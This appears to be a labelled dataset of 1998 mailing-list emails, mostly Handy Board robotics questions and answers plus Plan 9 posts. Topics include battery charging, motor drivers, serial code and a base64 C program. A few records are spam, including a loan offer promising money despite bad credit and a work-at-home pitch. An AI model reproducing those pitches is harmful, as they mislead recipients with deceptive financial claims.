rgds, phillip ",0,0 FThompson9@aol.com,handyboard@media.mit.edu,"Sat, 14 Nov 1998 09:09:44 -0500",Re: NiCd Charger,"Russ: In a message dated 98-11-13 04:48:38 EST, you write: << ... power rating of resistor = 15Volts * 200mA = 3Watts Series resistor needed = 75 Ohms @ 3 Watts. ----------------------- ------- The 75 Ohms bit seems reasonable to me but 3Watts must be way to much. could anyone show me where i have gone wrong. >> Your trouble with this is you have assumed the only thing across the power supply is the resistor. It is in series with the 12 Volt battery. So for the resistance you need: R = (15 - 12) / 200mA = 3 / .2 = 15 Ohm For power you can use either the 3 volts across the resistor times the .2 amps through it, or the current squared times the resistance (E = I * R and P = E * I -> P = I * R * I = I^2 * R). Power = current squared times resistance = 0.04 * 15 = 0.6 W The only concern I would have here is verifying the 15V supply. Take a capacitor and place it across the output, turn on the supply and measure the voltage. I'll bet you get more than 15 (probably 19 or 20), which is the peak voltage. It's up to you if you use this new (peak) voltage, or stick with the RMS. Either way I would not leave the batteries in the charger more than 20 hours. And touch them every now and then, if they feel warm, they're drying out and that's nto good. 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When I call the sonar on one HB it returns -1 but when I try it on another HB it works fine. So it isn't the sensor. Could anyone tell me which conections on my HB would cause this result. Would it be the SPI header(??). I'm not too verse in electronics so any help would be greatly appreciated. Thank You, Peter --------------------------------------------------------------------------------------------------- Peter Eacmen Boston Latin School babylongod@usa.net Knowledge is power, power is money, knowledge is money! ",0,0 MADHU SUDAN GADDAMIDI ,handyboard@media.mit.edu,"Sun, 15 Nov 1998 19:41:37 -0800",,"Hi! all, I charged my handyboard for two days. Any problem iam going to get. Please respond me quickly as i had to do my project. thank u. Madhu ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ",0,1 Kenji Okamoto ,9fans@cse.psu.edu,"Mon, 16 Nov 1998 17:12:05 +0900",Re: [9fans] How to use strdup()? ,"> >>I'm facing memory problem in news reader having > >>more than 2000 unread articles which > >>uses the strdup() more than 2000 times, and > >>then fails in malloc. > > it probably means i didn't consider closely enough when to free > the string passed to plinitlabel etc, No! It's mainly my part in making tcs(1) to library. It's expensive to convert ISO-2022-JP to utf or vise versa. I'm now in the process of updating this, however, it's hard enough to me. :-) Many strange behaviour have I. Kenji ",0,0 Bengt Kleberg ,9fans@cse.psu.edu,"Mon, 16 Nov 1998 12:00:19 +0100",Re: [9fans] How to use strdup()?,"> It's mainly my part in making tcs(1) to library. greetings, is tcs, the unix version, considered ""free""? may i use it if i remember to keep copyright notices and such? Best Wishes, Bengt =============================================================== Everything aforementioned should be regarded as totally private opinions, and nothing else. bengt@softwell.se ``His great strength is that he is uncompromising. It would make him physically ill to think of programming in C++.'' ",0,0 stevet ,handyboard@media.mit.edu,"Mon, 16 Nov 1998 22:18:24 +1030",correct procedure when downloading pcode_hb.s19,"hi I am at present building a handyboard from Fred's assembly manual, however it appears I might have a problem. I have connected the serial interface board to the handyboard. The hb is placed into bootstrap mode by holding down the stop button. The LCD screen has one line of blocks displayed. The power plug pack is connected to the s/i board to power the whole show. I am using win95 (an early version) and hence use hbdl. I download pcode_hb.s19 and a window appears telling me the monitor program is downloading. Whilst this is happening the SER led on the S/I board flashes and the PWR led on the handyboard flashes as well. At the end of the monitor download program the yellow LED15Y led flashes and the program download starts. Whilst this is happening again the SER led flashes, however the PWR led remains on (no flashes). At the end of the program download, nothing has changed on the LDC screen, ie still a row of blocks. I switch off the power switch on the handyboard and turn on the power switch to reset the board expecting to see a prompt on the LCD screen. Alas still the same line of blocks on the LCD screen greets me. I am using the handyboard software downloaded from MIT. Is this what is meant to happen or can anyone suggest the next step? thanks in advance steve treagust adelaide - australia ",0,0 Christopher Prosser ,"Rachel , handyboard@media.mit.edu","Mon, 16 Nov 1998 08:18:24 -0800",Re: Request for Books on Robotics,"Mobile Robots: From Inspiration to Implementation by Joseph L. Jones, Anita M. Flynn; As its title suggests, this book convers everything you need to know to build a mobile robot. They discuss the design of their brain (a MC68HC11 design that looks similar to the HandyBoard and 6.270 board, yet is packed with sensors as oppossed to having connectors where you roll your own like the handyBoard, this doesn't mean there are no expansion capabilities, but it is designed to be fully stocked). It also runs Interactive C. I strongly reccommend this book. It gave me a great introduction to mobile robots and I often find myself referring to it while I play with my HandyBoard. Cheers, Chris Prosser ---Rachel wrote: > > Could people please recomend some books about lego robots, using the handyboard > or other controllers, or more general textbooks on the topic of educational > robots? > Thank you, > > Rachel Arens > > _________________________________________________________ DO YOU YAHOO!? Get your free @yahoo.com address at http://mail.yahoo.com",0,1 Kevin VN Toledo ,handyboard@media.mit.edu,"Mon, 16 Nov 1998 05:27:40 -0800",remove worry,"We WILL lend you the money you need We have special arrangements with dozens of top lenders. Some of them specialise in cases where the homeowner has no proof of income or negative equity. Some of them do not care about arrears and poor credit ratings Some of them offer stunning rates as low as 3.75%, and offer loans of over $2,000,000 Some of them offer relief loans of as little as $20,000 to give you room to breathe! You could pay for a car or go on holiday as well! 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The 1999 shift schedule can be found at http://claspc1.cebaf.gov/SHIFTS_1999 Instructions on how to swap shifts can be found at: http://claspc1.cebaf.gov/SHIFTS_1999/readme Thanks for your prompt attention!! Arne Freyberger ",0,1 Liddy Nevile ,handyboard@media.mit.edu,"Tue, 17 Nov 1998 08:41:15 +1100",Please use subject headers on all mail,"thanks ",0,0 MADHU SUDAN GADDAMIDI ,handyboard@media.mit.edu,"Mon, 16 Nov 1998 15:03:48 -0800",I overcharged my handyboard.,"I think I overcharged my handyboard, I chargedf it for two days. I charged my handyboard using the Normal charge method. My handyboard is not responding at all. There is no power bulb glowing. Do you have any solution. I had to complete my project. Kindly reply me as soon as possible. Thank u Madhu ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ",0,1 Ron Workman ,java-sig@csc-sun.math.utah.edu,"Mon, 16 Nov 1998 17:21:03 -0800",Java awt libraries? ,"Hello, We are currently looking for a clean room version of the Java awt libraries to complement our Java for embedded devices. Do you know of a source for these libraries? Thank you, Ron Workman ",0,0 Jim Tompkins ,"""handyboard@media.mit.edu"" ","Mon, 16 Nov 1998 17:31:04 -0600",Which M68HC11 to use,"I am planning to build a HandyBoard, and am in the ""Gathering Stage"". I just recieved the docs from Motorola; the ""HC11 Reference Manual"", and the ""MC68HC11A8 Programming Reference Guide"". The Parts list for the HandyBoard calls out for the MC68HC11A1FN. The Reference Manual (in section 2.2.1) says the -A8 is the same as the -A0 and -A1 except that the disabling of the internal ROM and/or EEPROM is determined in the non-volatile config register. Please let me know if I interpreted this correcly. I have NOOO HC11 experience! Questions: 1. Will the -A8 as opposed to the -A1 work with the HandyBoard? 2. Has anyone adapted the HB for use with the HC11F1 or HC11K4? 3. Is the ""FN"" (in ref to the part listing) just a vendor code? ",0,0 Kraus Avniel ,9fans@cse.psu.edu,"Mon, 16 Nov 1998 17:34:18 -0500","beware, fatigue can kill you","some purify may savant but phone the cocoon on embouchure ",1,0 """Wijngaarde, Ronald"" ","handyboard@media.mit.edu, Jim Tompkins ","Tue, 17 Nov 1998 10:35:00 +0100",RE: Which M68HC11 to use,"I am using the E1FN version myself without any problems (after getting through some problems during implementation). I believe that the F describes the type of package used (square version as needed on the 'standard' board). Ronald > ---------- > From: Jim Tompkins[SMTP:tompkins@oct.net] > Sent: dinsdag 17 november 1998 0:31 > To: handyboard@media.mit.edu > Subject: Which M68HC11 to use > > I am planning to build a HandyBoard, and am in the ""Gathering Stage"". > I > just recieved the docs from Motorola; the ""HC11 Reference Manual"", and > the ""MC68HC11A8 Programming Reference Guide"". The Parts list for the > HandyBoard calls out for the MC68HC11A1FN. > > The Reference Manual (in section 2.2.1) says the -A8 is the same as > the > -A0 and -A1 except that the disabling of the internal ROM and/or > EEPROM > is determined in the non-volatile config register. > > Please let me know if I interpreted this correcly. I have NOOO HC11 > experience! > > > Questions: > > 1. Will the -A8 as opposed to the -A1 work with the HandyBoard? > 2. Has anyone adapted the HB for use with the HC11F1 or HC11K4? > 3. Is the ""FN"" (in ref to the part listing) just a vendor code? > > > ",0,0 edmund ,handyboard@media.mit.edu,"Tue, 17 Nov 1998 18:10:44 -0800",32V DC Motor," hi i'm trying to use the handy-board to drive a 32V DC motor. a webpage at the handyboard website showed that this can be done by cutting the original power trace and simply plugging in a new external power source(a 36V battery pack?). what i would like to know is whether the handy-board can supply a 2.3A current to the motor with the increase in supply voltage. however, it seems that the existing L293D motor driver can only supply 600mA. does this mean i have to use a different chip with higher ouput current capability or even a separate motor driver board? if possible, could someone please recommend a suitable motor driver chip other than the L293D? Thank you. -edmund ",0,0 phillip chia ,handybd ,"Mon, 16 Nov 1998 19:15:11 +0800",motor port problem,"hi, i really need help urgently. Currently, I running my robot using 2 DC motor on port 2 & 3. I used external power supply to the L293D (pin 8). I did not cut the trace. I used Alkaline battery 12V recharagable . when I run my robot, it is running smoothly. However, something went wrong. The port 3 for the left motor is not rotate anymore. I tried numerous debugging method to see what is the problem. Firstly, the outcome of the problem is that the port 3 red LED (reverse) is always turning on. When I used the command : a) motor (3,50); ==> red LED and green LED is light up b )motor (3, -50); ==> red LED is light up. Green LED is not light up the red LED is still turning on for both command . Not the green LED. However, When I used command : off(3) ; the red LED on port 3 turned off. I tried to load the ""hbtest.c"" and then type "" testmotors( ); "" The result is that the motor LEDS is begin to flash one at a time , beginning with motor 0-green, motor 0-red, motor 1-green, etc. When it reach port3 green LED, the port 3 red LED turn on all the way without turning off. The red LED stay light up even though the rest of the LED is still flashing orderly. The port 3 green LED is still can flash normally. NO damage. Only the port 3 red LED has problem. Moreover, i pluck in the DC motor wires into the port 3, the motor is not moving. The rest of the port is moving . Please help .Thank . rgds, phillip ",0,0 """Fred G. Martin"" ",phillip chia ,"Tue, 17 Nov 1998 08:04:16 -0500",Re: motor port problem ,"you may have blown one of your L293D chips. try swapping the two chips to see if the problem then migrates to motor 1. if it does, then you have blown an L293D. there is more info on debugging motor problems in the FAQ. See the answer to ""One of the motor outputs has stopped working"" at http://el.www.media.mit.edu/projects/handy-board/faq/index.html#motordied Fred In your message you said: > hi, > i really need help urgently. Currently, I running my robot using 2 DC motor > on port 2 & 3. I used external power supply to the L293D (pin 8). I did not > cut the trace. I used Alkaline battery 12V recharagable . when I run my > robot, it is running smoothly. However, something went wrong. The port 3 > for the left motor is not rotate anymore. > I tried numerous debugging method to see what is the problem. > > Firstly, the outcome of the problem is that the port 3 red LED (reverse) is > always turning on. When I used the command : > > a) motor (3,50); ==> red LED and green LED is light up > b )motor (3, -50); ==> red LED is light up. Green LED is not light up > the red LED is still turning on for both command . Not the green LED. > However, When I used command : off(3) ; the red LED on port 3 turned > off. > > I tried to load the ""hbtest.c"" and then type "" testmotors( ); "" The > result is that the motor LEDS is begin to flash one at a time , beginning > with motor 0-green, motor 0-red, motor 1-green, etc. When it reach port3 > green LED, the port 3 red LED turn on all the way without turning off. The > red LED stay light up even though the rest of the LED is still flashing > orderly. The port 3 green LED is still can flash normally. NO damage. Only > the port 3 red LED has problem. > > Moreover, i pluck in the DC motor wires into the port 3, the motor is not > moving. The rest of the port is moving . > > Please help .Thank . > > rgds, > phillip > > > ",0,1 FThompson9@aol.com,handyboard@media.mit.edu,"Tue, 17 Nov 1998 09:00:46 -0500",Re: I overcharged my handyboard.,"Madhu: I would be very surprised that you overcharged the batteries to the point of no function. Your batteries would have to have gotten very hot for that time (batteries deteriorate in a charger due to evaporation of electrolite water). Generaly over charging weakens a cell (one battery in a pack) and gives it a funny discharge characteristic. No life at all means a broken wire or trace. Take the batteries out, start at the battery pack with an ohm meter and check the circuit from the battery minus terminal to Ground; and the plus terminal to: the 5V regulator, the supply for the memory chip, and the motor supply. When you find the bad spot, solder a wire bridge around the break, and try to figure out why it blew before putting the batteries back. Pherd In a message dated 98-11-16 18:07:06 EST, you write: << handyboard@media.mit.edu I think I overcharged my handyboard, I chargedf it for two days. I charged my handyboard using the Normal charge method. My handyboard is not responding at all. There is no power bulb glowing. Do you have any solution. I had to complete my project. Kindly reply me as soon as possible. Thank u >>",0,0 FThompson9@aol.com,handyboard@media.mit.edu,"Tue, 17 Nov 1998 09:00:48 -0500",Re: motor port problem .,"Philip I would first suspect that the motor chip has blown. This is eash to check since the Handy board has two L293 chips. Swap them (disconnect your motor connections) and run testmotors(). If the problem follows the chips, replace the bad one. (You might want to buy a small stock of extra L293 chips.) If the problem does not follow the chips, I would suspect the 68HC11 chip. You will probably need an osciloscope to be sure, but start at the inputs to the L293 and trace back to the chip to be sure of the signal your getting. (There is a 74374 and 7404 that you will need to check. You will find all this documented in the Handy Board Technical Reference manual. See page 49 for details on the motor drive. Pherd ",0,0 DjKOz97@aol.com,handyboard@media.mit.edu,"Tue, 17 Nov 1998 09:30:39 -0500",Re: 32V DC Motor,"Edmund, I recently received 2 LMD18200 chips from National Semiconductor through their free samples order (limit 2/day, 5/week). These chips deliver up to 3A continous output, and up to 6A peak. They are ideal for driving DC/ Stepper motors. All the schematics for connecting these can be found in the FAQ section of the Handyboard webpage. The motor routines included with IC are supposed to be compatible with these chips. Good Luck Dave ",0,0 Marcelo Manjon ,handyboard@media.mit.edu,"Fri, 24 Oct 1997 12:37:46 -0200",Memory Space,"Hi all, My name is Marcelo Manjon, and i've just finished my 1st. version of my Micromouse Robot. However, since it had some aligment problems, i've decided to use more 12 IR sensors, in order to help the robot to stay aligned along the maze and, consequently, my aligment software code routine has increased (all my code has about 4500 bytes). Since i'm using Interactive C Version 2.8, every time i try to download the software to my Handy Board , it says it does not have enough memory in order to download all my software code to the Handy Board. I would like to know if there is any way of increase the available memory for my software( i don't use routines like printf and others ones, but it seems they are all encapsulated in pcode.s19 file and i don't know how to take them off this file). Is there any advantage concerning memory space in Interactive C 3.1 ? If anyone has any suggestions, please help me.. Thank you very much. Marcelo Manjon ",0,0 """ED Spike, E&CE Dept."" ","Liddy Nevile , handyboard@media.mit.edu","Tue, 17 Nov 1998 10:07:25 -0500",Re: Please use subject headers on all mail,"At 08:41 AM 11/17/1998 +1100, Liddy Nevile wrote: >thanks Thanks Liddy PLEASE !!! Use subject headers on your e-mail. Beam; Handyboard; PIC; MICROE; MicroMouse; Motors; LEGO; and etc. Any letter case is better than no classification of the subject. Thanks Ed Spike 73,33 -- ",0,0 MAR ERICSON ,edmund ,"Tue, 17 Nov 1998 10:17:39 -0500",Re: 32V DC Motor,"There's an alternative to th4e L293D chip that fits the Handy Board. This chip can supply 1A. I know you need 2+ Amps but a common method adopted by some people is piggybacking two or more chips. (You put one on top of another to allow the curent to be divided between the separate chips. Thus if you piggyback three, you should theoretically be able to supply 3A which is what you need. I believe this chips is the SN??? that you can look up in the Handyboard FAQ somewhere. ----------- ericson mar Robotics Consultant mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art ------------------------------------------------------- On Tue, 17 Nov 1998, edmund wrote: > > hi > > i'm trying to use the handy-board to drive a 32V DC motor. a webpage at > the handyboard website showed that this can be done by cutting the > original power trace and simply plugging in a new external power > source(a 36V battery pack?). > > what i would like to know is whether the handy-board can supply a 2.3A > current to the motor with the increase in supply voltage. however, it > seems that the existing L293D motor driver can only supply 600mA. does > this mean i have to use a different chip with higher ouput current > capability or even a separate motor driver board? if possible, could > someone please recommend a suitable motor driver chip other than the > L293D? Thank you. > > -edmund > > ",0,0 Douglas Blank ,"""handyboard@media.mit.edu"" ","Tue, 17 Nov 1998 09:58:46 -0600",LEGO: looking for gears,"Is there an inexpensive way to get a large assortment of many LEGO gears? Third parties? -Doug Blank -- ===================================================================== dblank@comp.uark.edu Douglas Blank, University of Arkansas Assistant Professor Computer Science ==================== http://www.uark.edu/~dblank ==================== ",0,1 r.farnhill@bssl.co.uk,handyboard@media.mit.edu,"Tue, 17 Nov 1998 16:37:39 -0000",RE: 32V DC Motor,"Just a quick note.. As i remember if you stack the SN??? chips to get the current rating you also have to piggyback a L293D as these incorporate the anti-spike protection diodes as the others don't Russ..... -----Original Message----- From: MAR ERICSON [mailto:mar@cooper.edu] Sent: Tuesday, November 17, 1998 3:18 PM To: edmund Cc: handyboard@media.mit.edu Subject: Re: 32V DC Motor There's an alternative to th4e L293D chip that fits the Handy Board. This chip can supply 1A. I know you need 2+ Amps but a common method adopted by some people is piggybacking two or more chips. (You put one on top of another to allow the curent to be divided between the separate chips. Thus if you piggyback three, you should theoretically be able to supply 3A which is what you need. I believe this chips is the SN??? that you can look up in the Handyboard FAQ somewhere. ----------- ericson mar Robotics Consultant mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art ------------------------------------------------------- On Tue, 17 Nov 1998, edmund wrote: > > hi > > i'm trying to use the handy-board to drive a 32V DC motor. a webpage at > the handyboard website showed that this can be done by cutting the > original power trace and simply plugging in a new external power > source(a 36V battery pack?). > > what i would like to know is whether the handy-board can supply a 2.3A > current to the motor with the increase in supply voltage. however, it > seems that the existing L293D motor driver can only supply 600mA. does > this mean i have to use a different chip with higher ouput current > capability or even a separate motor driver board? if possible, could > someone please recommend a suitable motor driver chip other than the > L293D? Thank you. > > -edmund > > ",0,0 marco antonio assfalk oliveira ,r.farnhill@bssl.co.uk,"Tue, 17 Nov 1998 09:56:18 -0700",RE: 32V DC Motor," Greetings, We are using a LMD18200-based H-bridge circuit from Wirz Electronics to drive our motors. We simply removed a L293 chip from its socket and ran the signals (a short distance) to the LMD18200 circuit. Marco A. A. de Oliveira assfalk@eece.unm.edu /--------------------------------v-----------------------------\\ | semi-Research Asst. | CNPq Scholarship recipient | | ACE SMR Project | | | Soft-computing based Cooper. | Assistant Professor | | Mobile Autonomous Robotics | (on leave) | \\--------------------------------+-----------------------------/ | UNM/NASA ACE Center | UFG- Esc.Eng.Elétrica (EEE) | EECE Bldg. Rm. 110 | Pr.Universitária, s/no | | Albuquerque, NM | Goiânia, GO | | USA 87131 | BRASIL 74605-220 | |-------------------------------+----------------------------| | http://ace.unm.edu | http://www.eee.ufg.br | |-------------------------------+----------------------------| | Office: +1-505-277-1437 | Main | | Fax: +1-505-277-4681 | Voice/fax: +55-62-2050325 | | Lab: +1-505-277-0297 | | \\-------------------------------^----------------------------/ ",0,1 Rajbala Makar ,handyboard@media.mit.edu,"Tue, 17 Nov 1998 13:27:13 -0500",PE4,"Hi : It is given in the standard ir_detect() routine that the detector should be connected to PE4? Can anyone tell me what is PE4 ? Is it the same as analog input 4 ? Thanks . Rajbala ",0,0 Jobs Available <4r2j586@heartdatesource-new.info>,"""handyboard@media.mit.edu"" ","Tue, 17 Nov 1998 07:02:48 -0700",We want you handyboard@media.mit.edu work at home - make more," 4/30/2006 - 8:05 AM Hi Keri@em.ca, I'm glad I finally got a hold of you! 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The latest page update from Fred appears to be Jul 20th, and indicated that the board might be available at the end of the summer. Todd ",0,0 Tey Chee Beng ,handyboard@media.mit.edu,"Wed, 18 Nov 1998 09:03:13 +0800",HB not responding,"Hi, I have successfully downloaded the pcode_hb.s19, but my computer can't synchronized with my Handy board. It always return the message ""Handy board not responding"". What should i do now ??? I'm using Windows 95 on a 233Mhz machine, and i have try those suggestions in the FAQ section. Does anyone one the correct port settings to use ? The Bits per second, number of data bits and stop bits, parity bit and the flow control type. Thanks for helping... ",0,0 Peter Eacmen ,"""'handyboard@media.mit.edu'"" ","Tue, 17 Nov 1998 20:56:17 -0500",Serial Communication %!*#!!--Please Help,"I need for two HBs to communicate via the serial port. I'm using the ""network"" style cable. With Randy Seargent's serialio routines and the code that is in the HB FAQ. Please Help my project is due the Monday after Thanksgiving. Any input would be greatly appreciated. Thanks Peter This is the code on the transmitting HB: (basically the code in the FAQ) void serial_putchar(int c) { while (!(peek(0x102e) & 0x80)); /* wait until serial transmit empty */ poke(0x102f, c); /* send character */ } void printdec(int n) { int leading_digit= 0; int dig, div; if (n == 0) { _printnum(0); return; } if (n < 0) { serial_putchar('-'); n = 0 - n; } for (div= 10000; div= div/10; div> 0) { dig= n/div; n= n - dig*div; if (dig || leading_digit) { _printnum(dig); leading_digit= 1; } } } /* prints digit from 0 to 9 over serial line */ void _printnum(int n) { serial_putchar(n + '0'); } /*To start a new line on the serial output, use:*/ void newline() { serial_putchar(10); serial_putchar(13); } void main(){ newline(); while(1){ printdec(5); } } This is the code on the recieving HB: void disable_pcode_serial() /* necessary to receive characters using serial_getchar */ { poke(0x3c, 1); } void reenable_pcode_serial() /* necessary for IC to interact with board again */ { poke(0x3c, 0); } int serial_getchar() { while (!(peek(0x102e) & 0x20)); /* wait for received character */ return peek(0x102f); } int main(){ disable_pcode_serial(); while(1){ printf(""\\n%d"", serial_getchar()); sleep(.05); } } --------------------------------------------------------------------------------------------------- Peter Eacmen Boston Latin School babylongod@usa.net Knowledge is power, power is money, knowledge is money!",0,0 ctaylor@SRTC.COM,handyboard@media.mit.edu,"Tue, 17 Nov 1998 22:32:19 -0500",Re: 32V DC Motor,"While on the subject of motors and H-bridges. I recently ordered a L298 based motor controller kit from JCM Electronics. Unlike the L293, the L298 supports breaking and has two bits for direction and one enable bit. It would be easy to add use an inverter to generate the extra direction bit, but breaking sounds like it could be a useful feature, so I would like to be able to support it. The the standard PWM code should work just fine for strobing the enable, all I would have to do is find two extra output pins and hack on the way the PWM code sets the direction. I only need two motors, so I was thinking about removing both L293s and stealing the direction bits from channel 2 and 3. I need the SPI so those pins are not available. What would you guys recommend? Is breaking really worth it, or should I just get an inverter? --Clem ",0,0 okamoto@granite.cias.osakafu-u.ac.jp,9fans@cse.psu.edu,"Wed, 18 Nov 1998 18:01:21 +0900",[9fans] Base64 mime encode/decode program,"I tried to make base64 encoding/decoding program to use with such as rin's header lines. This is a limited implementation of RFC 1341/1342. However, I believe this works for most cases. My basic policy is: Encoding whole text line as a part which means I don't care even if such a text cannnot be read from English terminal. This is because I believe no one have any interests on those text, even if a part can be read anyway. All or nothing should be the reasonable way in this case. I tested this program of decoding patrt by reading many Japanese articles from fj, but hadn't have any problem up to now. The encoding part is new. I also put new version of tcs library which would be neccessary to compile this program on our plan 9 site: http://basalt.cias.osakafu-u.ac.jp/plan9/p9index.html which is written by UTF-8. Kenji --------cut here------ /* * MIME encode/decode test program for Japanese mode rin * Nov. 18, 1998 Kenji Okamoto * * char1 char2 char3 char4 * |----------|-----------|-----------|-----------| * 1 2 3 4 5 6 7 8 1 2 3 4 5 6 7 8 1 2 3 4 5 6 7 8 * |--------------|---------------|---------------| * 1 2 3 */ #include #include #include char *mime_decode(char *, char*); static char *decodeB64(char *); char * mime_decode(char *from, char *decoded) { char *mimest, *charst, *newline; char tbuff[150], tbuff2[150]; *decoded = 0; if(!(mimest = strstr(from, ""=?""))) return(from); else { /* mime encoded */ if (charst = strstr(from, ""ISO-2022-JP?"")) charst += 12; else if(charst = strstr(from, ""iso-2022-jp?"")) charst += 12; else return(from); /* MIME but other than JIS */ } if(*charst++ != 'B') return(from); /* probably Q encoded */ charst++; /* top address of B64 encoded string */ /* if(*charst != 'G') return(from); not JIS */ strncpy(decoded, from, mimest-from); /* not encoded part */ decoded[mimest-from] = 0; mimest = strstr(charst, ""?=""); /* mimest=last address + 1 */ strncpy(tbuff, charst, mimest-charst); tbuff[mimest-charst] = 0; if(newline = strstr(tbuff, ""\\n\\t"")) { tbuff2[0] =0; strncat(tbuff2, tbuff, newline-tbuff); strcat(tbuff2+(newline-tbuff), newline+2); tbuff[0] = 0; strcat(tbuff, tbuff2); } decoded = strcat(decoded, decodeB64(tbuff)); return(decoded); } static char *decodeB64(char *from) { char decoded[150]; int char1, char2, char3, char4; int i=0,j=0; char base64[] = { -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1, -1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, -1, -1, -1, -1, -1, }; decoded[0] = '\\0'; while(from[i] != 0) { if((char1 = base64[from[i]]) == -1) return 0; if(from[i+1] == '=') { char2 = 0; decoded[j] = (char1 << 2) | ((char2 & 0x30) >> 4); decoded[j+1] = '\\0'; break; }else if(from[i+2] == '=') { if((char2 = base64[from[i+1]]) == -1) return 0; char3 = 0; decoded[j] = (char1 << 2) | ((char2 & 0x30) >> 4); decoded[j+1] = ((char2 & 0x0f) << 4) | ((char3 & 0x3c) >> 2); decoded[j+2] = '\\0'; break; }else if(from[i+3] == '=') { if((char2 = base64[from[i+1]]) == -1) return 0; if((char3 = base64[from[i+2]]) == -1) return 0; char4 = 0; decoded[j] = (char1 << 2) | ((char2 & 0x30) >> 4); decoded[j+1] = ((char2 & 0x0f) << 4) | ((char3 & 0x3c) >> 2); decoded[j+2] = ((char3 & 0x03) << 6) | char4; decoded[j+3] = '\\0'; break; }else { if((char2 = base64[from[i+1]]) == -1) return 0; if((char3 = base64[from[i+2]]) == -1) return 0; if((char4 = base64[from[i+3]]) == -1) return 0; decoded[j] = (char1 << 2) | ((char2 & 0x30) >> 4); decoded[j+1] = ((char2 & 0x0f) << 4) | ((char3 & 0x3c) >> 2); decoded[j+2] = ((char3 & 0x03) << 6) | char4; decoded[j+3] = '\\0'; i+=4; j+=3; } } return(decoded); } /* * mime Base64 encode routine * K.Okamoto Nov. 18, 1998 */ static char B64charset[] = ""ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/""; static int encodeB64(char*, char*); char *mime_encode(char*, char*); char *mime_encode(char *from, char *encoded) { char *jisstr, *ptr; char buff[100]; int i, j; ptr = encoded; while(*from) { if (*from >= ' ' && *from <= 0x7f) /* ASCII code */ *ptr++ = *from++; else if (*from == '\\n' || *from == '\\t') *ptr++ = *from++; else if (*from == '\\033') { /* ESC sequence for JIS code */ j = 0; if (!strncmp(from, ""\\033$B"", 3)) { /* JISIN */ strncpy(ptr, ""=?ISO-2022-JP?B?"", 16); jisstr = ptr + 16; j = encodeB64(from, jisstr); for(i=0;*jisstr;jisstr++, i++); ptr = ptr+i+16; strncpy(ptr, ""?="", 2); ptr += 2; *ptr = 0; from += j; } } } if((i = strlen(encoded)) > 66) { /* folding og large length line */ strncpy(buff, encoded, 66); buff[66] = '\\n'; buff[67] = '\\t'; strncpy(buff+68, encoded+66, i-66); i += 2; while(*encoded) *encoded = 0; strncpy(encoded, buff, i); encoded[i] = 0; } return(encoded); } static int encodeB64(char *from, char *encoded) { int char1, char2, char3; char *first; first = from; while (char1 = *from++) { if (char2 = *from++) { if (char3 = *from++) { *encoded++ = B64charset[char1 >> 2]; *encoded++ = B64charset[((char1 & 0x3) << 4) | ((char2 & 0xF0) >> 4)]; *encoded++ = B64charset[((char2 & 0xF) << 2) | ((char3 & 0xC0) >> 6)]; *encoded++ = B64charset[char3 & 0x3F]; } else { *encoded++ = B64charset[char1 >> 2]; *encoded++ = B64charset[((char1 & 0x3) << 4) | ((char2 & 0xF0) >> 4)]; *encoded++ = B64charset[((char2 & 0xF) << 2) | ((0 & 0xC0) >> 6)]; *encoded++ = '='; break; } } else { *encoded++ = B64charset[char1 >> 2]; *encoded++ = B64charset[((char1 & 0x3) << 4) | ((0 & 0xF0) >> 4)]; *encoded++ = '='; *encoded++ = '='; break; } } *encoded = '\\0'; return(from-first); } void * main(void) { char txt[150]; char encoded[150]; uchar outp[150]; int i; for(i=0;i<150;i++) outp[i]=0; for(i=0;i<150;i++) txt[i] = 0; strcpy(txt, ""Re: $B$3$l$O(HmimeB64$B$N%F%9%H$G$9(H.""); print(""\\noriginal text = %s\\n"", txt); tcs((uchar*)txt, outp, ""jis"", ""utf""); print(""\\nvisible original text = %s\\n"", (char *)outp); for(i=0;i<150; i++) encoded[i] = 0; mime_encode(txt, encoded); print(""\\nencoded string = %s\\n"", encoded); for(i=0;i<150;i++) txt[i]=0; print(""\\ndecoded string = %s\\n"", mime_decode(encoded, txt)); } -----end of this mail------",0,1 r.farnhill@bssl.co.uk,handyboard@media.mit.edu,"Wed, 18 Nov 1998 12:48:30 -0000",finding handyboard parts,"Hi all This is a list i compiled when building my handyboard. I found some parts Quite hard to find and spent a lot of time reading through catalogs etc. So i thought it might save someone a lot of time. The list is pretty much complete and i now have a fully working handtboard but please double check it if your gonna order stuff using the part numbers in case of typos. cheers Russ ",0,0 """Fred G. Martin"" ",Peter Eacmen ,"Wed, 18 Nov 1998 07:51:25 -0500",Re: Serial Communication %!*#!!--Please Help ,"Hi Peter, There was recently a discussion on the list where it was revealed that the network style cable does NOT work to connect to HB's together. If you go back to the FAQ there will now be correct instructions for making a cable to link two HBs. Fred In your message you said: > I need for two HBs to communicate via the serial port. I'm using the ""networ k"" style cable. With Randy Seargent's serialio routines and the code that is in the HB FAQ. Please Help my project is due the Monday after Thanksgiving. Any input would be greatly appreciated. > Thanks > Peter > > This is the code on the transmitting HB: (basically the code in the FAQ) > void serial_putchar(int c) > { > while (!(peek(0x102e) & 0x80)); /* wait until serial transmit empty */ > poke(0x102f, c); /* send character */ > } > > void printdec(int n) > { > int leading_digit= 0; > int dig, div; > > if (n == 0) { > _printnum(0); > return; > } > > if (n < 0) { > serial_putchar('-'); > n = 0 - n; > } > > for (div= 10000; div= div/10; div> 0) { > dig= n/div; > n= n - dig*div; > if (dig || leading_digit) { > _printnum(dig); > leading_digit= 1; > } > } > } > > /* prints digit from 0 to 9 over serial line */ > void _printnum(int n) > { > serial_putchar(n + '0'); > } > > /*To start a new line on the serial output, use:*/ > > void newline() { > 